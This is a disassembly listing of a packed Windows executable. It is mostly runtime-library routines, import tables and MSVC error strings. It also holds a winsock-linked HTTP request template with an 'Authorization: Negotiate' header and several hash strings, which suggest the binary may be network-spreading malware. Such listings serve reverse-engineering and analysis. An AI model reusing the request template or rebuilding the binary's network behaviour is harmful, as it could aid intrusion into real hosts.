; Attributes: bp-based frame


sub_4199D6	proc near		; DATA XREF: .packed:0041A8D4o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4198F8
		push	offset dword_41AD08
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_419BCE
		int	3		; Trap to Debugger


loc_4199F4:				; DATA XREF: .packed:0041A910o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4199BE
		push	offset dword_41ACC8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_419BCE
		int	3		; Trap to Debugger


loc_419A12:				; DATA XREF: .packed:0041A8E4o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_419962
		push	offset dword_41AC20
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_419BCE
		int	3		; Trap to Debugger
sub_4199D6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_419A30	proc near		; CODE XREF: sub_401D69+5Ep
					; sub_402C55+13Fp ...
		jmp	dword_41A1D0
sub_419A30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_419A36	proc near		; CODE XREF: sub_40580B+4Ap
		jmp	dword_41A180
sub_419A36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_419A3C	proc near		; CODE XREF: sub_40580B+33p
		jmp	dword_41A17C
sub_419A3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_419A42	proc near		; CODE XREF: sub_40580B+Fp
		jmp	dword_41A178
sub_419A42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_419A48	proc near		; CODE XREF: sub_40F0BC+23p
					; sub_40F360+13p
		jmp	dword_41A128
sub_419A48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A4E	proc near		; CODE XREF: .packed:0040E0EBp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0Ah
		jnz	short loc_419A63
		cmp	[ebp+arg_0], 0
		jge	short loc_419A63
		push	1
		push	0Ah
		jmp	short loc_419A68
; ---------------------------------------------------------------------------


loc_419A63:				; CODE XREF: sub_419A4E+7j
					; sub_419A4E+Dj
		push	0
		push	[ebp+arg_8]


loc_419A68:				; CODE XREF: sub_419A4E+13j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419A7B
		mov	eax, [ebp+arg_4]
		add	esp, 10h
		pop	ebp
		retn
sub_419A4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A7B	proc near		; CODE XREF: sub_419A4E+20p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		mov	ecx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		jz	short loc_419A95
		mov	esi, [ebp+arg_0]
		mov	byte ptr [ecx],	2Dh
		inc	ecx
		neg	esi
		jmp	short loc_419A98
; ---------------------------------------------------------------------------


loc_419A95:				; CODE XREF: sub_419A7B+Dj
		mov	esi, [ebp+arg_0]


loc_419A98:				; CODE XREF: sub_419A7B+18j
		mov	edi, ecx


loc_419A9A:				; CODE XREF: sub_419A7B+43j
		mov	eax, esi
		xor	edx, edx
		div	[ebp+arg_8]
		mov	eax, esi
		mov	ebx, edx
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ebx, 9
		mov	esi, eax
		jbe	short loc_419AB6
		add	bl, 57h
		jmp	short loc_419AB9
; ---------------------------------------------------------------------------


loc_419AB6:				; CODE XREF: sub_419A7B+34j
		add	bl, 30h


loc_419AB9:				; CODE XREF: sub_419A7B+39j
		mov	[ecx], bl
		inc	ecx
		test	esi, esi
		ja	short loc_419A9A
		and	byte ptr [ecx],	0
		dec	ecx


loc_419AC4:				; CODE XREF: sub_419A7B+55j
		mov	dl, [edi]
		mov	al, [ecx]
		mov	[ecx], dl
		mov	[edi], al
		dec	ecx
		inc	edi
		cmp	edi, ecx
		jb	short loc_419AC4
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419A7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_419AD7	proc near		; CODE XREF: .packed:00419AEFp
		mov	dword ptr [ecx], offset	off_41A928
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_419AEB
		push	ecx
		call	sub_40ECAF
		pop	ecx

locret_419AEB:				; CODE XREF: sub_419AD7+Bj
		retn
sub_419AD7	endp

; ---------------------------------------------------------------------------


loc_419AEC:				; DATA XREF: .packed:off_41A928o
		push	esi
		mov	esi, ecx
		call	sub_419AD7
		test	byte ptr [esp+8], 1
		jz	short loc_419B02
		push	esi
		call	sub_40F46F
		pop	ecx


loc_419B02:				; CODE XREF: .packed:00419AF9j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_419B08:				; DATA XREF: .packed:off_41A930o
		push	esi
		mov	esi, ecx
		call	sub_419BAB
		test	byte ptr [esp+8], 1
		jz	short loc_419B1E
		push	esi
		call	sub_40F46F
		pop	ecx


loc_419B1E:				; CODE XREF: .packed:00419B15j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_419B24	proc near		; CODE XREF: sub_4197DE+1Dp
					; sub_4198B0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41A930
		push	dword ptr [edi]
		call	sub_40E730
		inc	eax
		push	eax
		call	sub_40F7B5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_419B53
		push	dword ptr [edi]
		push	eax
		call	sub_40ED20
		pop	ecx
		pop	ecx


loc_419B53:				; CODE XREF: sub_419B24+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_419B24	endp


; =============== S U B	R O U T	I N E =======================================



sub_419B61	proc near		; CODE XREF: sub_4198F8+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41A930
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_419B9E
		push	dword ptr [edi+4]
		call	sub_40E730
		inc	eax
		push	eax
		call	sub_40F7B5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_419BA4
		push	dword ptr [edi+4]
		push	eax
		call	sub_40ED20
		pop	ecx
		pop	ecx
		jmp	short loc_419BA4
; ---------------------------------------------------------------------------


loc_419B9E:				; CODE XREF: sub_419B61+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_419BA4:				; CODE XREF: sub_419B61+2Ej
					; sub_419B61+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_419B61	endp


; =============== S U B	R O U T	I N E =======================================



sub_419BAB	proc near		; CODE XREF: sub_41979A+16j
					; .packed:00419B0Bp ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_41A930
		jz	short locret_419BC0
		push	dword ptr [ecx+4]
		call	sub_40F46F
		pop	ecx

locret_419BC0:				; CODE XREF: sub_419BAB+Aj
		retn
sub_419BAB	endp


; =============== S U B	R O U T	I N E =======================================



sub_419BC1	proc near		; DATA XREF: .packed:0041A934o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_419BCD
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_419BCD:				; CODE XREF: sub_419BC1+5j
		retn
sub_419BC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419BCE	proc near		; CODE XREF: sub_419853+37p
					; sub_41997A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_41A950
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	dword_41A15C	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_419BCE	endp


; =============== S U B	R O U T	I N E =======================================



sub_419C08	proc near		; DATA XREF: .packed:0041AB0Co

; FUNCTION CHUNK AT 004023CF SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_4023CF
sub_419C08	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_419C26
		mov	ecx, [ebp+8]
		jmp	loc_4023CF
; ---------------------------------------------------------------------------

locret_419C26:				; CODE XREF: .packed:00419C18j
		retn
; ---------------------------------------------------------------------------


loc_419C27:				; DATA XREF: sub_401FA5o
		mov	eax, offset dword_41AAE0
		jmp	loc_40F10B
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_4023CF
; ---------------------------------------------------------------------------


loc_419C3C:				; DATA XREF: .packed:0041AB3Co
		lea	ecx, [ebp-1Ch]
		jmp	loc_4023CF
; ---------------------------------------------------------------------------


loc_419C44:				; DATA XREF: sub_402147o
		mov	eax, offset dword_41AB10
		jmp	loc_40F10B
; ---------------------------------------------------------------------------
		align 10h


loc_419C50:				; DATA XREF: sub_4026B2o
		mov	eax, offset dword_41AB40
		jmp	loc_40F10B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_419BAB
; ---------------------------------------------------------------------------


loc_419C62:				; DATA XREF: sub_4197DEo
		mov	eax, offset dword_41ABA0
		jmp	loc_40F10B
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_4023CF
; ---------------------------------------------------------------------------


loc_419C74:				; DATA XREF: sub_419853o
		mov	eax, offset dword_41AC38
		jmp	loc_40F10B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_419BAB
; ---------------------------------------------------------------------------


loc_419C86:				; DATA XREF: sub_4198B0o
		mov	eax, offset dword_41AC5C
		jmp	loc_40F10B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_419BAB
; ---------------------------------------------------------------------------


loc_419C98:				; DATA XREF: sub_4198F8o
		mov	eax, offset dword_41AC80
		jmp	loc_40F10B
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_4023CF
; ---------------------------------------------------------------------------


loc_419CAA:				; DATA XREF: sub_41997Ao
		mov	eax, offset dword_41ACE0
		jmp	loc_40F10B
; ---------------------------------------------------------------------------
		dd 0D3h	dup(0)
dword_41A000	dd 77E802FCh		; DATA XREF: sub_406287+109r
					; sub_406287+250r ...
dword_41A004	dd 77E6BD68h		; DATA XREF: sub_419489+173r
dword_41A008	dd 77E77F2Eh		; DATA XREF: sub_41920C+3Er
					; sub_41920C+261r
dword_41A00C	dd 77E762D0h		; DATA XREF: sub_41920C+5Br
					; sub_41920C+B9r
dword_41A010	dd 77E70192h		; DATA XREF: sub_418C8A+F9r
dword_41A014	dd 77E73FF9h		; DATA XREF: sub_4177D0+2Cr
dword_41A018	dd 77E7FF2Eh		; DATA XREF: sub_4176A2:loc_4176F2r
					; sub_417719:loc_41776Cr
dword_41A01C	dd 77E7C866h		; DATA XREF: sub_41745D+3Fr
					; sub_41745D+12Dr
dword_41A020	dd 77E641EBh		; DATA XREF: sub_41745D+59r
					; sub_41745D+8Dr
dword_41A024	dd 77E7176Ch		; DATA XREF: sub_4172A2+8r
dword_41A028	dd 77E7339Ch		; DATA XREF: sub_41726A+Cr
dword_41A02C	dd 77E7C9E7h		; DATA XREF: sub_41724C+5r
					; sub_41725D+6r
dword_41A030	dd 77E77EE1h		; DATA XREF: sub_4165EC+9r
dword_41A034	dd 77E67702h		; DATA XREF: sub_4165EC:loc_41661Br
					; sub_4165EC+E1r
dword_41A038	dd 77E7C9E1h		; DATA XREF: sub_4165EC+CEr
dword_41A03C	dd 77E9C5B1h		; DATA XREF: sub_4165EC+11Fr
dword_41A040	dd 77EB9A84h		; DATA XREF: sub_41610A+138r
dword_41A044	dd 77E6C703h		; DATA XREF: sub_415E39+1Ar
dword_41A048	dd 77E7A13Fh		; DATA XREF: sub_415E39+2Fr
dword_41A04C	dd 77E7849Fh		; DATA XREF: sub_415CA0+48r
					; sub_415EDF+14r ...
dword_41A050	dd 77E781F9h		; DATA XREF: sub_4158A4+42r
					; sub_4158A4+14Dr ...
dword_41A054	dd 77E77405h		; DATA XREF: sub_4158A4+5Er
					; sub_4158A4+A7r
dword_41A058	dd 77E79924h		; DATA XREF: sub_4158A4+20Dr
					; sub_4165EC+7Er ...
dword_41A05C	dd 77E78C81h		; DATA XREF: sub_415560+4Fr
dword_41A060	dd 77E61BE6h		; DATA XREF: sub_401000+D5r
					; sub_4011DC+A9r ...
dword_41A064	dd 77E77CCEh		; DATA XREF: sub_4010F9+66r
					; sub_4011DC+65r ...
dword_41A068	dd 77E77963h		; DATA XREF: sub_4014EF:loc_401621r
					; sub_4014EF+14Er ...
dword_41A06C	dd 77E79D8Ch		; DATA XREF: sub_4014EF+117r
					; sub_404CE2+AEr ...
dword_41A070	dd 77E73EACh		; DATA XREF: sub_4014EF+FFr
dword_41A074	dd 77E7A837h		; DATA XREF: sub_4014EF+79r
					; sub_404C1C+36r ...
dword_41A078	dd 77E7A099h		; DATA XREF: sub_4032AB+1Er
					; sub_4034A7+75r ...
dword_41A07C	dd 77F5157Dh		; DATA XREF: sub_4034A7:loc_403602r
					; sub_4039C6:loc_403B2Cr ...
dword_41A080	dd 77E7AC37h		; DATA XREF: sub_4034A7+12Br
					; sub_4039C6+142r ...
dword_41A084	dd 77E73C49h		; DATA XREF: sub_4037AE+212r
					; sub_4039C6+23Fr ...
dword_41A088	dd 77F7E300h		; DATA XREF: sub_4037AE+142r
dword_41A08C	dd 77F7E21Fh		; DATA XREF: sub_4037AE+D7r
dword_41A090	dd 77E7751Ah		; DATA XREF: sub_4037AE+32r
					; sub_4053E4+4r ...
dword_41A094	dd 77E7C706h		; DATA XREF: sub_4039C6+77r
dword_41A098	dd 77F53275h		; DATA XREF: sub_4039C6+6Br
					; sub_4039C6+22Fr
dword_41A09C	dd 77E805D8h		; DATA XREF: sub_403C25+13Ar
					; sub_403C25:loc_404115r ...
dword_41A0A0	dd 77E7A5FDh		; DATA XREF: sub_403C25+11r
					; sub_40502F+32r ...
dword_41A0A4	dd 77E79F93h		; DATA XREF: sub_403C25+2r
					; sub_404CE2+FBr ...
dword_41A0A8	dd 77E76A60h		; DATA XREF: sub_404B10+2Dr
dword_41A0AC	dd 77E75090h		; DATA XREF: sub_404B9A+69r
dword_41A0B0	dd 77E74D76h		; DATA XREF: sub_404B9A+36r
dword_41A0B4	dd 77E77797h		; DATA XREF: sub_404B9A+25r
dword_41A0B8	dd 77E7011Ah		; DATA XREF: sub_404C1C+96r
					; sub_405076+2FAr
dword_41A0BC	dd 77E73CE2h		; DATA XREF: sub_404C1C+60r
					; sub_405076+EAr
dword_41A0C0	dd 77E61BB8h		; DATA XREF: sub_404CE2+17Er
					; sub_407CCD+47Er ...
dword_41A0C4	dd 77E668D9h		; DATA XREF: sub_404CE2+15Dr
dword_41A0C8	dd 77E70396h		; DATA XREF: sub_404CE2+126r
					; sub_405076+B4r ...
dword_41A0CC	dd 77E74CABh		; DATA XREF: sub_404CE2+10Fr
					; sub_409034+19Er
dword_41A0D0	dd 77E6AD34h		; DATA XREF: sub_404CE2+35r
					; sub_40997B+1BBEr
dword_41A0D4	dd 77E7C657h		; DATA XREF: sub_404FE0+1Ar
					; sub_405503+23r ...
dword_41A0D8	dd 77E6BD13h		; DATA XREF: sub_409034:loc_4091EFr
dword_41A0DC	dd 77E76C1Ah		; DATA XREF: sub_405503+1D6r
dword_41A0E0	dd 77E64106h		; DATA XREF: sub_405503+1B7r
dword_41A0E4	dd 77E64006h		; DATA XREF: sub_405503+1A0r
dword_41A0E8	dd 77E704FCh		; DATA XREF: sub_405503+184r
					; sub_4081F8+74r ...
dword_41A0EC	dd 77E6D75Bh		; DATA XREF: sub_406287+FFr
					; sub_406906+182r
dword_41A0F0	dd 77E70F89h		; DATA XREF: sub_407A4E+Dr
					; sub_4101B6+Dr
dword_41A0F4	dd 77E75CB5h		; DATA XREF: sub_407CCD+3AAr
					; sub_407CCD+494r ...
dword_41A0F8	dd 77E73628h		; DATA XREF: sub_409034+32Fr
					; sub_40997B+2A71r
dword_41A0FC	dd 77E706B7h		; DATA XREF: sub_409034+26Br
					; sub_40DB61+1A4r ...
dword_41A100	dd 77E80656h		; DATA XREF: sub_409034+25Er
dword_41A104	dd 77E79D5Bh		; DATA XREF: sub_409034+68r
					; sub_409034+305r
dword_41A108	dd 77E7C2C4h		; DATA XREF: sub_409034+61r
dword_41A10C	dd 77E76A2Eh		; DATA XREF: sub_40997B+1B1Dr
					; sub_40997B+1B8Dr ...
dword_41A110	dd 77E79C90h		; DATA XREF: sub_40DAF6+Cr
					; sub_41085B+10r
dword_41A114	dd 77E616B4h		; DATA XREF: sub_40DB61+1B4r
					; sub_40DE07+1Fr ...
dword_41A118	dd 77E7513Ch		; DATA XREF: .packed:0040E11Dr
dword_41A11C	dd 77E75CEBh		; DATA XREF: sub_40E311+2Br
dword_41A120	dd 77F516F8h		; DATA XREF: sub_40E8C0+6Cr
					; sub_4117A7+Dr ...
dword_41A124	dd 77F51597h		; DATA XREF: sub_40ECAF+60r
					; sub_41181A+2C5r ...
dword_41A128	dd 77F6183Eh		; DATA XREF: sub_419A48r
dword_41A12C	dd 77E76E3Dh		; DATA XREF: sub_4101B6+6Cr
					; sub_417AF5+38r
dword_41A130	dd 77E61608h		; DATA XREF: sub_4101B6+17r
dword_41A134	dd 77E6177Ah		; DATA XREF: sub_410B5C+9Fr
					; sub_4153B5+59r
dword_41A138	dd 77E7C938h		; DATA XREF: sub_410B5C+74r
dword_41A13C	dd 77E7C486h		; DATA XREF: sub_410B5C+26r
dword_41A140	dd 77E7AC5Eh		; DATA XREF: sub_411602+54r
dword_41A144	dd 77E76E0Bh		; DATA XREF: sub_41174A+50r
dword_41A148	dd 77E7C726h		; DATA XREF: sub_41174A+11r
dword_41A14C	dd 77E79E34h		; DATA XREF: sub_41181A+240r
					; sub_4122EE+120r ...
dword_41A150	dd 77E7980Ah		; DATA XREF: sub_411E4C+76r
					; sub_411EFD+51r ...
dword_41A154	dd 77F5722Fh		; DATA XREF: sub_411E4C+28r
					; sub_414008+110r ...
dword_41A158	dd 77E73196h		; DATA XREF: sub_417286+Cr
dword_41A15C	dd 77E6D706h		; DATA XREF: sub_412AA6+215r
					; sub_419BCE+2Er
dword_41A160	dd 77F522F2h		; DATA XREF: sub_4142A8+58r
dword_41A164	dd 77E78B82h		; DATA XREF: sub_4151BF+84r
					; sub_4151BF+155r
dword_41A168	dd 77E7C931h		; DATA XREF: sub_4153B5+19Dr
dword_41A16C	dd 77E79C3Dh		; DATA XREF: sub_4153B5+158r
					; sub_416839+143r
dword_41A170	dd 77E78406h		; DATA XREF: sub_4153B5+FFr
					; sub_4153B5+166r ...
		align 8
dword_41A178	dd 77C015E3h		; DATA XREF: sub_419A42r
dword_41A17C	dd 77C0162Dh		; DATA XREF: sub_419A3Cr
dword_41A180	dd 77C0167Dh		; DATA XREF: sub_419A36r
		align 8
dword_41A188	dd 71AB157Eh		; DATA XREF: sub_40997B+15BEr
dword_41A18C	dd 71AB5A01h		; DATA XREF: sub_407550+20r
dword_41A190	dd 71AB4122h		; DATA XREF: sub_407467+D4r
dword_41A194	dd 71AB1836h		; DATA XREF: sub_40322E+6Er
					; sub_4032AB+BAr
dword_41A198	dd 71AB41DAh		; DATA XREF: sub_402C55+47r
					; sub_40322E+15r
dword_41A19C	dd 71AB3F8Dh		; DATA XREF: sub_402C55+75r
dword_41A1A0	dd 71AB155Ah		; DATA XREF: sub_402C55+85r
					; sub_4060E1+70r ...
dword_41A1A4	dd 71AB3ECEh		; DATA XREF: sub_402C55+ACr
dword_41A1A8	dd 71AB5DE2h		; DATA XREF: sub_402C55+C0r
dword_41A1AC	dd 71AB868Dh		; DATA XREF: sub_402C55+16Ar
dword_41A1B0	dd 71AB12F8h		; DATA XREF: sub_4027C1+27r
					; sub_40322E+35r ...
dword_41A1B4	dd 71AB1746h		; DATA XREF: sub_4027C1+36r
					; sub_402C55+9Br ...
dword_41A1B8	dd 71AB3E5Dh		; DATA XREF: sub_4027C1+59r
					; .packed:004028F4r ...
dword_41A1BC	dd 71AB5690h		; DATA XREF: sub_4027C1+6Ar
					; sub_402C55+1E2r
dword_41A1C0	dd 71AB1A6Dh		; DATA XREF: sub_4027C1+E0r
					; .packed:loc_40291Br ...
dword_41A1C4	dd 71AB3C22h		; DATA XREF: .packed:004022AFr
					; sub_4027C1+45r ...
dword_41A1C8	dd 71AB1AF4h		; DATA XREF: sub_401F07+12r
					; sub_4027C1+C3r ...
dword_41A1CC	dd 71AB1890h		; DATA XREF: sub_401D69+4Cr
					; sub_402C55+FDr
dword_41A1D0	dd 71AB1B7Bh		; DATA XREF: sub_419A30r
		align 8
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402147+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_41A218	dq 1.388888888888889e-2	; DATA XREF: sub_401F59+2Fr
dbl_41A220	dq 1.666666666666667e-1	; DATA XREF: sub_401F59+15r
dword_41A228	dd 0FFFFFFFFh		; DATA XREF: sub_401FA5+16Fr
					; sub_4023D7r ...
		align 10h
dbl_41A230	dq 1.333333333333333	; DATA XREF: sub_401FA5+79r
dword_41A238	dd 2 dup(0)		; DATA XREF: sub_402147+4Do
					; sub_402487+5Bo ...
dbl_41A240	dq 9.765625e-4		; DATA XREF: sub_407CCD+262r
					; sub_407CCD+27Dr ...
dword_41A248	dd 63h			; DATA XREF: sub_40997B+6C2o
a3127659d403389	db '3127659d403389d0911ed325a6e24f12',0 ; DATA XREF: sub_40997B+1B18o
		align 10h
a5e4b401fd2dc9f	db '5e4b401fd2dc9fac49cf77c64c91218c',0 ; DATA XREF: sub_40997B+1B88o
		align 4
aEae2a4a6649ddf	db 'eae2a4a6649ddf699412d162c4337675',0 ; DATA XREF: sub_40997B+1D49o
		align 4
dbl_41A2B8	dq 2.56e2		; DATA XREF: sub_40997B+244Ar
					; sub_40997B+262Br ...
dbl_41A2C0	dq 3.0517578125e-5	; DATA XREF: sub_40997B+2444r
					; sub_40997B+2625r ...
dbl_41A2C8	dq -3.0517578125e-5	; DATA XREF: sub_40DE3E+1Er
dbl_41A2D0	dq 1.0			; DATA XREF: sub_40EE62+6Cr
					; sub_40EFAB+6Cr ...
dword_41A2D8	dd 0FFFFFFFFh, 410C33h,	410C47h	; DATA XREF: sub_410B5C+5o
byte_41A2E4	db 6			; DATA XREF: sub_410DB0:loc_410E07r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: .packed:off_42209Co
		unicode	0, <(null)>,0
		align 10h
aNull_0		db '(null)',0           ; DATA XREF: .packed:off_422098o
		align 4
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_411602+8Eo
		align 10h
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_411602+4Fo
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 10h
aAtan2		db 'atan2',0
		align 4
aAtan		db 'atan',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
aLog10		db 'log10',0
		align 10h
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: .packed:off_4240D4o
		align 10h
dbl_41A440	dq 0.0			; DATA XREF: sub_412D59+8Cr
					; sub_412D59+ACr ...
dbl_41A448	dq 4.195835e6		; DATA XREF: sub_41326E+Fr
dbl_41A450	dq 3.145727e6		; DATA XREF: sub_41326E+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4132AC+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4132ACo
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_4133D3+93o
		align 4
dword_41A488	dd 0FFFFFFFFh, 413ABEh,	413AC8h, 0 ; DATA XREF:	sub_413A57+5o
dword_41A498	dd 0FFFFFFFFh, 0	; DATA XREF: sub_413B86+5o
		dd offset loc_413C44
		align 8
		dd offset sub_413C22
		dd offset sub_413C2C
dword_41A4B0	dd 0FFFFFFFFh, 413E74h,	413E78h, 0 ; DATA XREF:	sub_413CBC+5o
dword_41A4C0	dd 0FFFFFFFFh, 413ED6h,	413EDFh, 0 ; DATA XREF:	sub_413E80+5o
dword_41A4D0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_413F5C+5o
		dd offset loc_413FAD
		align 10h
		dd offset loc_413F99
		dd offset loc_413F9D
dword_41A4E8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_413FB2+5o
		dd offset loc_414003
		align 8
		dd offset loc_413FEF
		dd offset loc_413FF3
dword_41A500	dd 2 dup(0)		; DATA XREF: sub_4158A4+36o
					; sub_41745D+39o ...
dword_41A508	dd 0FFFFFFFFh, 4159B4h,	4159B8h, 0FFFFFFFFh, 415A68h, 415A6Ch
					; DATA XREF: sub_4158A4+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 0A0Dh, 534F4C54h
		dd 72652053h, 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh
		dd 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .packed:off_4245CCo
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_416839+119o
		align 4
asc_41A7D4	db 0Ah			; DATA XREF: sub_416839+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_416839+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_416839+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_416839+7Do
		align 10h
dword_41A810	dd 0FFFFFFFFh, 417556h,	41755Ah	; DATA XREF: sub_41745D+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_417AF5+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_418081+3Do
		align 4
